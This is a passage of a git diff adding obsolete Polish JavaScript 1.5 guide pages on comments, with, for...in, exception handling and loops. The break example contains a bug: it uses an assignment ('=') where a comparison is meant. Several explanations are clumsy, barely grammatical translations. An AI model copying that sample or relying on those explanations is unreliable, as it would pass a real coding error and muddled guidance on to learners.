title="pl/Przewodnik_po_języku_JavaScript_1.5/Powrót_dziedziczenia_własności/Globalne_informacje_w_konstruktorach">Globalne informacje w konstruktorach</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Brak_wielokrotnego_dziedziczenia" title="pl/Przewodnik_po_języku_JavaScript_1.5/Powrót_dziedziczenia_własności/Brak_wielokrotnego_dziedziczenia">Brak wielokrotnego dziedziczenia</a></dd> + </dl> + </dd> +</dl> + +<h4 id="Podgl.C4.85d_klas_LiveConnect" name="Podgl.C4.85d_klas_LiveConnect"><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect" title="pl/Przewodnik_po_języku_JavaScript_1.5/Podgląd_klas_LiveConnect">Podgląd klas LiveConnect</a></h4> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Praca_z_klas%C4%85_opakowuj%C4%85c%C4%85" title="pl/Przewodnik_po_języku_JavaScript_1.5/Podgląd_klas_LiveConnect/Praca_z_klasą_opakowującą">Praca z klasą opakowującą</a></dd> +</dl> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Komunikacja_mi%C4%99dzy_JavaScript_a_Java" title="pl/Przewodnik_po_języku_JavaScript_1.5/Podgląd_klas_LiveConnect/Komunikacja_między_JavaScript_a_Java">Komunikacja między JavaScript a Java</a></dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Komunikacja_mi%C4%99dzy_JavaScript_a_Java#Obiekt_opakowuj.C4.85cy" title="pl/Przewodnik_po_języku_JavaScript_1.5/Podgląd_klas_LiveConnect/Komunikacja_między_JavaScript_a_Java#Obiekt_opakowuj.C4.85cy">Obiekt opakowujący</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Komunikacja_mi%C4%99dzy_JavaScript_a_Java#Praca_z_tablicami_w_Javie" title="pl/Przewodnik_po_języku_JavaScript_1.5/Podgląd_klas_LiveConnect/Komunikacja_między_JavaScript_a_Java#Praca_z_tablicami_w_Javie">Praca z tablicami w Javie</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Komunikacja_mi%C4%99dzy_JavaScript_a_Java#Referencja_paczki_i_klasy" title="pl/Przewodnik_po_języku_JavaScript_1.5/Podgląd_klas_LiveConnect/Komunikacja_między_JavaScript_a_Java#Referencja_paczki_i_klasy">Referencja paczki i klasy</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Komunikacja_mi%C4%99dzy_JavaScript_a_Java#Argumenty_typu_char" title="pl/Przewodnik_po_języku_JavaScript_1.5/Podgląd_klas_LiveConnect/Komunikacja_między_JavaScript_a_Java#Argumenty_typu_char">Argumenty typu char</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Komunikacja_mi%C4%99dzy_JavaScript_a_Java#Obs.C5.82uga_wyj.C4.85tk.C3.B3w_Javy_w_JavaScript" title="pl/Przewodnik_po_języku_JavaScript_1.5/Podgląd_klas_LiveConnect/Komunikacja_między_JavaScript_a_Java#Obs.C5.82uga_wyj.C4.85tk.C3.B3w_Javy_w_JavaScript">Obsługa wyjątków Javy w JavaScript</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Komunikacja_mi%C4%99dzy_Java_a_JavaScript" title="pl/Przewodnik_po_języku_JavaScript_1.5/Podgląd_klas_LiveConnect/Komunikacja_między_Java_a_JavaScript">Komunikacja między Java a JavaScript</a></dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Komunikacja_mi%C4%99dzy_Java_a_JavaScript/U%C5%BCywanie_klas_LiveConnect" title="pl/Przewodnik_po_języku_JavaScript_1.5/Podgląd_klas_LiveConnect/Komunikacja_między_Java_a_JavaScript/Używanie_klas_LiveConnect">Używanie klas LiveConnect</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Konwersja_typu_danych" title="pl/Przewodnik_po_języku_JavaScript_1.5/Podgląd_klas_LiveConnect/Konwersja_typu_danych">Konwersja typu danych</a></dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Konwersja_typu_danych/Konwersja_JavaScript_do_Java" title="pl/Przewodnik_po_języku_JavaScript_1.5/Podgląd_klas_LiveConnect/Konwersja_typu_danych/Konwersja_JavaScript_do_Java">Konwersja JavaScript do Java</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Konwersja_typu_danych/Konwersja_Java_do_JavaScript" title="pl/Przewodnik_po_języku_JavaScript_1.5/Podgląd_klas_LiveConnect/Konwersja_typu_danych/Konwersja_Java_do_JavaScript">Konwersja Java do JavaScript</a></dd> + </dl> + </dd> +</dl> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_komentarzy/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_komentarzy/index.html new file mode 100644 index 0000000000..4c7477d922 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_komentarzy/index.html @@ -0,0 +1,26 @@ +--- +title: Instrukcje komentarzy +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_komentarzy +tags: + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling +--- +<p> +</p> +<h3 id="Komentarze" name="Komentarze"> Komentarze </h3> +<p>komentarze są notatkami autora, które wyjaśniają co znaczy dany kawałek kodu. Komentarze nie są wczytywane przez przeglądarkę. W JavaScript mamy ten sam styl komentarzy co w Java i C++: +</p> +<ul><li> Komentarze w pojedyńczej linii są wstawiane za pomoca podwójnych znaków slash (//). +</li><li> Komentarze blokowe są wstawiane za pomoca /* i następnie zakończone */: +</li></ul> +<p><b>Przykład</b><br> +Następujący kod pokazuje komentarze: +</p> +<pre>// To jest pojedyńczy komentarz. + +/* To jest komentarz blokowy. Może być dowolnej długości i wstwiać go możemy w +każdym miejscu, gdzie tylko będziemy chcieli. */ +</pre> +{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Comments", "es": "es/Gu\u00eda_JavaScript_1.5/Sentencias_para_comentarios", "fr": "fr/Guide_JavaScript_1.5/Commentaires", "ja": "ja/Core_JavaScript_1.5_Guide/Comments" } ) }} diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_manipulacji_obiektem/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_manipulacji_obiektem/index.html new file mode 100644 index 0000000000..45442f2c63 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_manipulacji_obiektem/index.html @@ -0,0 +1,50 @@ +--- +title: Instrukcje manipulacji obiektem +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_manipulacji_obiektem +tags: + - JavaScript + - Wszystkie_kategorie +--- +<p> </p> +<h3 id="Instrukcja_manipulacji_obiektem" name="Instrukcja_manipulacji_obiektem">Instrukcja manipulacji obiektem</h3> +<p>JavaScript używa instrukcji <strong>for...in</strong> i <strong>with</strong> do manipulacji obiektami.</p> +<h4 id="Instrukcja_for...in" name="Instrukcja_for...in">Instrukcja for...in</h4> +<p>Instrukcja <code><strong>for...in</strong></code> cyklicznie powtarza specyficzną wartość wszystkich właściwości obiektu. Dla każdej oddzielnej właściwości, JavaScript wykonuje specyficzna instrukcję. Instrukcja <code><strong>for...in</strong></code> wygląda jak pętle:</p> +<pre>for (variable in object) { + instrukcje +} +</pre> +<p><strong>Przykład</strong><br> + Następujaca funkcja pobiera obiekt i jego nazwę jako argument. Następnie iteruje ją nad wszystkimi właściwościami obiektu i zwraca łańcuch, którym jest lista właściwościami nazw i ich wartości.</p> +<pre>function dump_props(obj, obj_name) { + var result = ""; + for (var i in obj) { + result += obj_name + "." + i + " = " + obj[i] + "<BR>" + } + result += "<HR>"; + return result; +} +</pre> +<p>Dla obiektu <code><strong>car</strong></code> z właściwościami <code><strong>make</strong></code> i <code><strong>model</strong></code>, będzie rezultat:</p> +<pre>car.make = Ford +car.model = Mustang +</pre> +<h4 id="Instrukcja_with" name="Instrukcja_with">Instrukcja with</h4> +<p>Instrukcja <code><strong>with</strong></code> nawiązuje z domyślnym obiektem <code><strong>for</strong></code> ustawienia instrukcji. W JavaScript jakikolwiek z niewykwalifikowanych nazw bez ustawień instrukcji określającej domyślny obraz. Jeśli niewykwalifikowana nazwa odpowiada właściwości, to właściwość jest użyta w instrukcji; w przeciwnym wypadku zostanie użyta, zmienna lokalna lub globalna.</p> +<p>Składnia pętli <code><strong>with</strong></code> wygląda:</p> +<pre>with (object){ + instrukcja +} +</pre> +<p><strong>Przykład</strong><br> + Następująca instrukcja <code><strong>with</strong></code> określa, że obiekt <code><strong>Math</strong></code> jest obiektem domyślnym. Następująca instrukcja <code><strong>with</strong></code> odwołuje sie do właściwości instrukcji metod <code><strong>PI</strong></code> i <code><strong>cos</strong></code> i <code><strong>sin</strong></code>, bez specyficznego obiektu. JavaScript bierze na siebie obiekt <code><strong>Math</strong></code> dla tych referencji.</p> +<pre>var a, x, y; +var r=10 +with (Math) { + a = PI * r * r; + x = r * cos(PI); + y = r * sin(PI/2); +} +</pre> +<p>Nota: Używając instrukcji <a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Polecenia/with" title="pl/Dokumentacja_języka_JavaScript_1.5/Polecenia/with">with</a> znacząco spowolniasz jego działanie.</p> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_obsługi_wyjątków/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_obsługi_wyjątków/index.html new file mode 100644 index 0000000000..a31e3144d3 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_obsługi_wyjątków/index.html @@ -0,0 +1,42 @@ +--- +title: Instrukcje obsługi wyjątków +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_obsługi_wyjątków +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +--- +<p> </p> +<h3 id="Instrukcje_obs.C5.82ugi_wyj.C4.85tk.C3.B3w" name="Instrukcje_obs.C5.82ugi_wyj.C4.85tk.C3.B3w">Instrukcje obsługi wyjątków</h3> +<p>Możesz wywoływać wyjątki używając instrukcji <code>throw</code> i obsługiwać je za pomocą instrukcji <code>try...catch</code>.</p> +<p>Instrukcji <code>try...catch</code> używa się również do obsługi wyjątków Javy. Zobacz <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Podgl%c4%85d_klas_LiveConnect/Komunikacja_mi%c4%99dzy_JavaScript_a_Java#Obs.C5.82uga_wyj.C4.85tk.C3.B3w_Javy_w_JavaScript">Obsługa wyjątków Javy w JavaScript</a> i <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Podgl%c4%85d_klas_LiveConnect/Komunikacja_mi%c4%99dzy_Java_a_JavaScript">Komunikacja między Java a JavaScript</a>, aby uzyskać więcej informacji.</p> +<ul> + <li><a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Instrukcje_obs%c5%82ugi_wyj%c4%85tk%c3%b3w/Instrukcja_throw">Instrukcja throw</a></li> + <li><a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Instrukcje_obs%c5%82ugi_wyj%c4%85tk%c3%b3w/Instrukcja_try...catch">Instrukcja try...catch</a></li> +</ul> +<h3 id="Typy_wyj.C4.85tk.C3.B3w" name="Typy_wyj.C4.85tk.C3.B3w">Typy wyjątków</h3> +<p>Niemal każdy wyjątek może zostać wywołany w JavaScripcie. Niemniej jednak nie wszystkie wywołane obiekty są tworzone jako równe. Choć częste jest wyświetlanie liczb lub łańcuchów znaków jako błędów, użycie jednego z typów wyjątków stworzonych szczególnie do tego celu jest bardziej efektywne:</p> +<ul> + <li>Wyjątki ECMAScript: + <ul> + <li><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Error">Error</a></li> + <li><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/EvalError">EvalError</a></li> + <li><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/RangeError">RangeError</a></li> + <li><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/ReferenceError">ReferenceError</a></li> + <li><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/SyntaxError">SyntaxError</a></li> + <li><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/TypeError">TypeError</a></li> + <li><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/URIError">URIError</a></li> + </ul> + </li> + <li>Wyjątki DOM: + <ul> + <li><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/DOMException">DOMException</a></li> + <li><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/EventException">EventException</a></li> + <li><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/RangeException">RangeException</a></li> + <li>... (?)</li> + </ul> + </li> + <li><a href="pl/NsIXPCException">nsIXPCException</a> (<a href="pl/XPConnect">XPConnect</a>)</li> +</ul> +<p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Instrukcje komentarzy", "Przewodnik po języku JavaScript 1.5:Instrukcje obsługi wyjątków:Instrukcja throw") }}</p> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_obsługi_wyjątków/instrukcja_throw/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_obsługi_wyjątków/instrukcja_throw/index.html new file mode 100644 index 0000000000..d09220143a --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_obsługi_wyjątków/instrukcja_throw/index.html @@ -0,0 +1,45 @@ +--- +title: Instrukcja throw +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_obsługi_wyjątków/Instrukcja_throw +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +--- +<div class="noinclude"> + <h3 id="Instrukcja_throw" name="Instrukcja_throw">Instrukcja throw</h3> + <p>Użyj instrukcji <code>throw</code>, aby wywołać wyjątek. Gdy wywołujesz wyjątek, określasz wyrażenie zawierające wartość, która ma zostać wywołana:</p> + <pre class="eval">throw wyrazenie; +</pre> + <p>Możesz wywołać dowolne wyrażenie, nie tylko wyrażenie konkretnego typu. Poniższy kod wywołuje kilka wyjątków różnych typów:</p> + <pre class="eval">throw "Error2"; +throw 42; +throw true; +throw {toString: function() { return "Jestem obiektem!"; } }; +</pre> + <div class="note"> + <b>Uwaga:</b> Możesz określić obiekt podczas wywoływania wyjątku. Można się wtedy odnieść do własności obiektu w bloku <code>catch</code>. Poniższy przykład tworzy obiekt <code>myUserException</code> typu <code>UserException</code> i używa go w instrukcji throw.</div> + <p> </p> + <pre class="eval">// Utwórz obiekt typu UserException +function UserException (message) +{ + this.message=message; + this.name="UserException"; +} + +// Przekonwertuj wyjątek do ładnego łańcucha znaków, +// gdy ma on zostać użyty jako łańcuch znaków (np. przez konsolę błędów) +UserException.prototype.toString = function () +{ + return this.name + ': "' + this.message + '"'; +} + +// Utwórz instancję typu obiektu i wywołaj ją +throw new UserException("Za duża wartość"); +</pre> + <div class="noinclude"> + <p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Instrukcje obsługi wyjątków", "Przewodnik po języku JavaScript 1.5:Instrukcje obsługi wyjątków:Instrukcja try...catch") }}</p> + </div> +</div> +<p> </p> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_obsługi_wyjątków/instrukcja_try...catch/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_obsługi_wyjątków/instrukcja_try...catch/index.html new file mode 100644 index 0000000000..229633025c --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_obsługi_wyjątków/instrukcja_try...catch/index.html @@ -0,0 +1,114 @@ +--- +title: Instrukcja try...catch +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_obsługi_wyjątków/Instrukcja_try...catch +tags: + - JavaScript + - Wszystkie_kategorie +--- +<p> </p> +<h3 id="Instrukcja_try...catch" name="Instrukcja_try...catch">Instrukcja <code><b>try...catch</b></code></h3> +<p>Instrukcja <code><b>try...catch</b></code> śledzi blok instrukcji try, i określa jedną lub więcej odpowiedzi które powinny wyrzucić wyjątki. Jeśli wyjątek jest rzucony, instrukcja <code><b>try...catch</b></code> go łapie.</p> +<p>Instrukcja <code><b>try...catch</b></code> stanowi blok <code><b>try</b></code>, który stanowi jedną lub więcej instrukcji, i zero lub więcęj bloków stanowiących <code><b>catch</b></code>, instrukcję, który określa będzie wykonana jeśli wyjątek wystąpi w bloku try. To jest, to co nastąpi w bloku <code><b>try</b></code>, i jeśli nie nastąpi, chcesz przejąć kontrolę bloku <code><b>catch</b></code>. Jeśli jakakolwiek instrukcja bez bloku <code><b>try</b></code> (lub w nazwie funkcji nie występuje blok <code><b>try</b></code>) wyrzucany jest wyjątek, kontrola natychmiastowo wraca do bloku wyjątku, <code><b>catch</b></code>. Jeśli nie jest wyrzucony wyjątek w następującym bloku <code><b>try</b></code>, blok <code><b>catch</b></code> zostanie opuszczony. Blok kończący (finall) wykonany jest po wykonanych blokach <code><b>try</b></code> i <code><b>catch</b></code> przed instrukcjami następująca instrukcja <code><b>try...catch</b></code>.</p> +<p>Następujący przykład używa instrukcji <code><b>try...catch</b></code>. Przykład nazywa się funkcją, która odzyskuje nazwę miesiąca z tablicy, która jest ulokowana w wartości przychodzącej do funkcji. Jeśli wartość nie jest przesyłana jako numer miesiąca (1-12), wyrzucony jest wyjątek wartości <code><b>InvalidMonthNo</b></code> i instrukcje w bloku <code>catch</code> ustawiają zmienną <code><b>monthName</b></code> na <code><b>unknown</b></code>.</p> +<pre>function getMonthName (mo) { + mo=mo-1; // Adjust month number for array index (1=Jan, 12=Dec) + var months=new Array("Jan","Feb","Mar","Apr","May","Jun","Jul", + "Aug","Sep","Oct","Nov","Dec"); + if (months[mo] != null) { + return months[mo] + } else { + throw "InvalidMonthNo" + } +} + +try { +// statements to try + monthName=getMonthName(myMonth) // function could throw exception +} +catch (e) { + monthName="unknown" + logMyErrors(e) // pass exception object to error handler +} +</pre> +<h4 id="Blok_catch" name="Blok_catch">Blok <code><b>catch</b></code></h4> +<p>Użyj pojedyńczego bloku <code><b>catch</b></code> do uchwytu wszystkich wyjątków, które mogą generować w bloku <code><b>try</b></code>, lub Ty potrafisz użyć separatora bloków <code><b>catch</b></code>, każdego, którego uchwyty są szczególnym typem wyjątku.</p> +<p><b>Pojedyńczy blok catch</b><br> + Użyj pojedyńczej instrukcji <code><b>try...catch</b></code>, bloku <code><b>catch</b></code> (odzyskanie bloku) wykonane kodu błędu uchwytu dla kazdego wyjątku wyrzuconego w bloku <code><b>try</b></code>.</p> +<p>Pojedyńczy blok <code><b>catch</b></code> ma następującą składnie:</p> +<pre>catch (catchID) { + statements +} +</pre> +<p>Blok <code><b>catch</b></code> wyszczególnia identyfikatory (<code><b>catchID</b></code> w poprzedzającej składni), którego wartość jest trzymana w bliżej określnonej instrukcji <code><b>throw</b></code>; użyj tego identyfikatora do pobrania informacji o wyjątku, który był zrzucony. JavaScript tworzy ten identyfikator, kiedy <code><b>catch</b></code> jest wstępem; ostatni identyfikator tylko dla czasu działanaia bloku <code><b>catch</b></code>; po bloku <code><b>catch</b></code> kończy wykonywanie identyfikatora, który jest nie długo dostępny.</p> +<p>Na przykład, następujący kod wyrzuca wyjątek. Kiedy wyjątek ma miejsce kontrolne cesje są w bloku <code><b>catch</b></code>.</p> +<pre>try { + throw "myException" // generuje wyjątek +} +catch (e) { +// instrukcja trzymająca jakikolwiek wyjątek + logMyErrors(e) // przechodzi z obiektu wyjątku exception object to error handler +} +</pre> +<p><b>Wielokrotne bloki catch</b><br> + Pojedyńcza instrukcja <code><b>try</b></code> stanowi wielokrotny warunkowe bloki <code><b>catch</b></code>, każdy który trzyma określony typ wyjątku. W tym przypadku przywłaszcza odpowiedni warunek blok <code><b>catch</b></code> jest możliwy wstęp tylko kiedy wyjątek określa, który blok jest wyrzucony. Mozesz także opcjonalnie dla wszystkich bliżej nieokreślonych bloku wyjątków <code><b>catch-all catch</b></code> jako finalnego bloku w instrukcji bloku catch.</p> +<p>Na przykład, nstępująca instrukcja powołuje się na trzy inne funkcje (deklarując je gdziekolwiek) który waliduje jego argumenty. Jeśli funkcja walidacji decyduje który komponent jest sprawdzany to wskazuje który nie przechodzi walidacji, to zwraca 0, wywołując odpowiednia wyskok szczególnego wątku.</p> +<pre>function getCustInfo(name, id, email) +{ + var n, i, e; + + if (!validate_name(name)) + throw "InvalidNameException" + else + n = name; + if (!validate_id(id)) + throw "InvalidIdException" + else + i = id; + if (!validate_email(email)) + throw "InvalidEmailException" + else + e = email; + cust = (n + " " + i + " " + e); + return (cust); +} +</pre> +<p>Blok warunkowy <code><b>catch</b></code> kontroluje drogę dobierając odpowiedni uchwyt wyjątku.</p> +<pre>try { +// funkcja wyrzucająca trzy wyjątki + getCustInfo("Lee", 1234, "lee@netscape.com") +} + +catch (e if e == "InvalidNameException") { +// nazwa uchwytu dla niepoprawnej nazwy + bad_name_handler(e) +} + +catch (e if e == "InvalidIdException") { +// nazwa uchwytu dla błędnych id + bad_id_handler(e) +} + +catch (e if e == "InvalidEmailException") { +// nazwa uchwytu dla błednego adresu email + bad_email_handler(e) +} + +catch (e){ +// nie wiadomo co robi, ale się loguje + logError(e) +} +</pre> +<h4 id="Blok_finally" name="Blok_finally">Blok <code><b>finally</b></code></h4> +<p>Blok <code><b>finally</b></code> stanowi instrukcja wykonywana po sprawdzeniu i wykonaniu bloku <code><b>catch</b></code>, ale przed następującą instrukcją <code><b>try...catch</b></code>. Blok <code><b>finally</b></code> wykonany gdziekolwiek lub nie jest wyjątkiem <code><b>thrown</b></code>. Jeśli wyjątek jest <code><b>thrown</b></code>, instrukcje w bloku <code><b>finally</b></code> wykonane równo, jeśli blok <code><b>catch</b></code> trzyma wyjątek.</p> +<p>Możesz używać bloku <code><b>finally</b></code> do zrobienia Twojego błędnego skryptu, kiedy ma miejsce wyjątku; na przykład, możesz potrzebować zwolnić źródło, którego Twój skrypt ma powiązanego. Następujący przykład otwiera plik i następnie wykonuje instrukcję, która użyje pliku (server-side pozwoli Ci w JavaScript uzyskać dostęp do pliku). Jeśli wyjątek jest rzucony, gdy plik jest otwarty, a blok <code><b>finally</b></code> zamyka pliki przed danymi skryptami.</p> +<pre>openMyFile(); +try { + writeMyFile(theData) +} +finally { + closeMyFile() // zawsze zamykaj źródło +} +</pre> +<h4 id="Zagnie.C5.BCd.C5.BCanie_instrukcji_try...catch" name="Zagnie.C5.BCd.C5.BCanie_instrukcji_try...catch">Zagnieżdżanie instrukcji <code><b>try...catch</b></code></h4> +<p>Żądaj jeden lub więcej instrukcji <code><b>try...catch</b></code>. Jeśli wewnętrzna instrukcja <code><b>try...catch</b></code> nie ma bloku catch, otoczamy blok catch i instrukcja <code><b>try...catch</b></code> jest zaznaczona dla danej wartości.</p> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/index.html new file mode 100644 index 0000000000..f4b9e92afb --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/index.html @@ -0,0 +1,23 @@ +--- +title: Instrukcje pętli +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli +tags: + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling +--- +<p> +</p> +<h3 id="Instrukcje_p.C4.99tli" name="Instrukcje_p.C4.99tli"> Instrukcje pętli </h3> +<p>Pętle są to specjalnie ustawione polecenia, które wykonują wielokrotnie kod, aż do spotkania specyficznych wartości. JavaScript wspiera instrukcję pętli for, do while, i while, albo well albo label (etykieta nie instrukcją pętli, ale jest często użyta z tą instrukcjami). Uzupełniając, możesz użyć instrukcji <code><b>break</b></code> i <code><b>continue</b></code> wewnątrz instrukcji pętli. </p><p>Następna instrukcja, <code><b>for...in</b></code>, wykonuje wielokrotnie ale jest użyta do manipulacji obiektem. Zobacz <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Instrukcje_manipulacji_obiektem">Instrukcje manipulacji obiektem</a>. +</p><p>Instrukcjami pętli są:<br> +</p> +<ul><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Instrukcje_p%c4%99tli/Instrukcja_for">Instrukcja for</a> +</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Instrukcje_p%c4%99tli/Instrukcja_do_...while">Instrukcja do...while</a> +</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Instrukcje_p%c4%99tli/Instrukcja_while">Instrukcja while</a> +</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Instrukcje_p%c4%99tli/Instrukcja_label">Instrukcja label</a> +</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Instrukcje_p%c4%99tli/Instrukcja_break">Instrukcja break</a> +</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Instrukcje_p%c4%99tli/Instrukcja_continue">Instrukcja continue</a> +</li></ul> +{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Loop_Statements", "es": "es/Gu\u00eda_JavaScript_1.5/Sentencias_de_bucle", "fr": "fr/Guide_JavaScript_1.5/Boucles", "ja": "ja/Core_JavaScript_1.5_Guide/Loop_Statements" } ) }} diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_break/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_break/index.html new file mode 100644 index 0000000000..108f315058 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_break/index.html @@ -0,0 +1,27 @@ +--- +title: Instrukcja break +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli/Instrukcja_break +tags: + - JavaScript + - Wszystkie_kategorie +--- +<p> </p> +<h3 id="Instrukcja_break" name="Instrukcja_break">Instrukcja <code>break</code></h3> +<p>Użyjemy instrukcji <code><b>break</b></code> chcąc zakończyć jedną z instrukcji <code><b> pętli switch</b>, lub <b>label</b></code> .</p> +<ul> + <li>Kiedy użyjemy <code><b>break</b></code> to przerwana zostanie natychmiast najgłębsza instrukcja <code><b>while, do-while, for,</b></code> lub <code><b>switch</b></code> i kontrola przekazana zostanie do następnej instrukcji.</li> + <li>Kiedy użyjemy <code><b>break</b></code> z etykietą, to przerwana zostanie specyficzna instrukcja o nazwie tej etykiety.</li> +</ul> +<p>Składnia instrukcji <code><b>break</b></code> wygląda jak poniższy przykład:</p> +<pre>1. break +2. break label +</pre> +<p>Pierwsza forma składni przerywa najgłębszą otoczoną nawiasami lub instrukcje pętlę <code><b>switch</b></code>; druga forma składni przerywa specjalnie pętlę zamkniętą i oznaczoną etykietę instrukcji.</p> +<p><b>Przykład</b><br> + Następujący przykład powtarza pętle poprzez elementy w tablicy aż do momentu, znalezienia element indeksu, który jest wartością <code><b>theValue</b></code>:</p> +<pre>for (i = 0; i < a.length; i++) { + if (a[i] = theValue) + break; +} +</pre> diff 